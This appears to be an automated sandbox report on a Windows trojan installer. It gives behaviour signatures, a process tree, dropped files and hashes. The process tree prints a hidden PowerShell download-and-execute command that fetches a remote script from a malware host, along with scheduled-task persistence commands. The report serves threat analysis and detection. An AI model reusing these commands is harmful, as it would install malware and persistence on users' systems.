Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/10/2026, 23:21

General

  • Target
    jaffacakes118_Trojan.Win32.Agent.qwhdui.exe
  • Size 3.6MB
  • Sample261015-3cddyaex2q
  • SHA256 d09814ac8bb8e341f866ad08634275b5ac15b0d46177be5785e89b8cb88327e8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://77.mycfg.site/files/restore_org_inj.ps1

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 23 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 36 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 34 IoCs
  • Modifies registry class 23 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan.Win32.Agent.qwhdui.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan.Win32.Agent.qwhdui.exe"
    1⤵
    • Loads dropped DLL
    • Enumerates connected drives
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4984
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Systema Natives\MServices X 5.2.0\install\E189936\MService X - proc injct.msi" /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan.Win32.Agent.qwhdui.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:5736
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4276
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding ACF72A20DD302A08C7E0C74D2A4688E8 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3224
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 387757F13C57369D98B8913B0ADC0A8E
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:1528
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6A25898D05B553AC7CED6AD785F66C1F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3940
    • C:\Windows\Installer\MSI48D5.tmp
      "C:\Windows\Installer\MSI48D5.tmp" /RunAsAdmin /HideWindow schtasks.exe /Delete /TN "RestoreRevTask" /F
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Delete /TN "RestoreRevTask" /F
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2972
    • C:\Windows\Installer\MSI49EF.tmp
      "C:\Windows\Installer\MSI49EF.tmp" /RunAsAdmin /HideWindow schtasks.exe /Delete /TN "AppLoaderHelpers" /F
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:568
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Delete /TN "AppLoaderHelpers" /F
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5144
    • C:\Program Files\Systema Natives\MServices X\update64.exe
      "C:\Program Files\Systema Natives\MServices X\update64.exe" /configservice -name "update64"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1140
    • C:\Windows\Installer\MSI5781.tmp
      "C:\Windows\Installer\MSI5781.tmp" /RunAsAdmin /HideWindow /dir "C:\Users\Admin\AppData\Local\Temp\" schtasks.exe /Create /XML RestoreRevTask.xml /TN RestoreRevTask /F
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /XML RestoreRevTask.xml /TN RestoreRevTask /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:5860
    • C:\Windows\Installer\MSI589B.tmp
      "C:\Windows\Installer\MSI589B.tmp" /RunAsAdmin /HideWindow /dir "C:\Users\Admin\AppData\Local\Temp\" schtasks.exe /Create /XML AppLoaderHelpers.xml /TN AppLoaderHelpers /F
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /XML AppLoaderHelpers.xml /TN AppLoaderHelpers /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3668
    • C:\Windows\Installer\MSI59D6.tmp
      "C:\Windows\Installer\MSI59D6.tmp" /RunAsAdmin /HideWindow schtasks /run /tn AppLoaderPM
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3752
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /run /tn AppLoaderPM
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4876
  • C:\Program Files\Systema Natives\MServices X\update64.exe
    "C:\Program Files\Systema Natives\MServices X\update64.exe" /runservice
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:1984
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4608
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy ByPass -WindowStyle Hidden -Command "iex ((new-object net.webclient).DownloadString('https://77.mycfg.site/files/restore_org_inj.ps1'))"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    PID:2584
  • C:\Program Files\Systema Natives\MServices X\app_loader.exe
    "C:\Program Files\Systema Natives\MServices X\app_loader.exe"
    1⤵
    • Executes dropped EXE
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2936

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5941e4.rbs

        • Path C:\Config.Msi\e5941e4.rbs
        • Size 1.4MB
        • SHA256 172a58654b9510799d7ac7dbff389207b03c233771ac32b151bf2ad639aedcb4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        update64.ini

        • Path C:\Program Files\Systema Natives\MServices X\update64.ini
        • Size 490B
        • SHA256 721ec517eabbd6065b5d8a3d547daf292fa7532f718ed82b713fb7f8c8824495
        • MD5 SHA1 SHA512 TLSH

        AppLoaderHelpers.xml

        • Path C:\Users\Admin\AppData\Local\Temp\AppLoaderHelpers.xml
        • Size 3KB
        • SHA256 514a8225584adcdff83a0a8d2d58757fff0f6ed689652ab1014d1659c037483a
        • MD5 SHA1 SHA512 TLSH

        MSI3E97.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\MSI3E97.tmp
        • Size 259KB
        • SHA256 6dd214389728ca6d66e2a2daf23a700060c0389447eabcba8be3157d2bdbfdb7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        RestoreRevTask.xml

        • Path C:\Users\Admin\AppData\Local\Temp\RestoreRevTask.xml
        • Size 1KB
        • SHA256 93c9253831465f30af9ca6f5daa1b147f2ff80833d26b023dd5a8bc5c3515845
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_kze1nmh1.b3i.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kze1nmh1.b3i.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        restore.bat

        • Path C:\Users\Admin\AppData\Roaming\Systema Natives\MServices X 5.2.0\install\E189936\CommonFiles64Folder\restore.bat
        • Size 164B
        • SHA256 b1ed41242e04d31ff56320457fdce8726e06ab4d388bc0c8f946adb3b9589bd5
        • MD5 SHA1 SHA512 TLSH

        MService X - proc injct.msi

        • Path C:\Users\Admin\AppData\Roaming\Systema Natives\MServices X 5.2.0\install\E189936\MService X - proc injct.msi
        • Size 2.2MB
        • SHA256 ecd84bd6df178aff8f8a7b32185c7519bda95f95f4d7f90cf6f0d771d43704a1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app_loader.exe

        • Path C:\Users\Admin\AppData\Roaming\Systema Natives\MServices X 5.2.0\install\E189936\app_loader.exe
        • Size 2.8MB
        • SHA256 43e5f4beab7cd9197a5e613313bf1a5844ef83ce82646dfbf02d3a6e69b33ddd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        update64.exe

        • Path C:\Users\Admin\AppData\Roaming\Systema Natives\MServices X 5.2.0\install\E189936\update64.exe
        • Size 580KB
        • SHA256 78c07a456d2626b144d97c7c665235eea65d3c49b7f1da67dd1ed0e4190c801f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        decoder.dll

        • Path C:\Users\Admin\AppData\Roaming\Systema Natives\MServices X 5.2.0\install\decoder.dll
        • Size 149KB
        • SHA256 08e5effa4e03563df4b418e859e5a05b8edee1d037e4a0e8947663667f8d9c03
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI43D8.tmp

        • Path C:\Windows\Installer\MSI43D8.tmp
        • Size 175KB
        • SHA256 b79dd5190e2c885f12cf54dcf0bb0afc72cea4ffcb21376685f028d235f9771e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI44A5.tmp

        • Path C:\Windows\Installer\MSI44A5.tmp
        • Size 116KB
        • SHA256 344a0d23513b52442d9ef8ab718a0b3dc9fbbdbca281b965572051b0a435c58e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI44E5.tmp

        • Path C:\Windows\Installer\MSI44E5.tmp
        • Size 142KB
        • SHA256 666570cf6b8f39cf1d5114f600e03a0cce9ff5271499c48d05ffcf02330bbc17
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI4592.tmp

        • Path C:\Windows\Installer\MSI4592.tmp
        • Size 381KB
        • SHA256 a2ec308da594b832262ac45decd462842fc4929d20fc2c158405605ad53b9a1a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI4610.tmp

        • Path C:\Windows\Installer\MSI4610.tmp
        • Size 290KB
        • SHA256 58a7b3f617bae3a2ced82477580fed8d7d2939d29f04adacc54d9acfa5ca72c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI468E.tmp

        • Path C:\Windows\Installer\MSI468E.tmp
        • Size 309KB
        • SHA256 dda5b2b1fea799afcedb6552c482556a2969181df0ec19099469b5544a88933e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI48D5.tmp

        • Path C:\Windows\Installer\MSI48D5.tmp
        • Size 17KB
        • SHA256 41f64fbe695f818a1f12ad066b8d52495d9ed68853252fd26d40d0423adb3686
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI5B2E.tmp

        • Path C:\Windows\Installer\MSI5B2E.tmp
        • Size 347KB
        • SHA256 f186767c1f265a81a75db0fd5ea172e652cca51feac7d3d6b8976191eff8a48b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2584-160-0x00000260356A0000-0x00000260356C2000-memory.dmp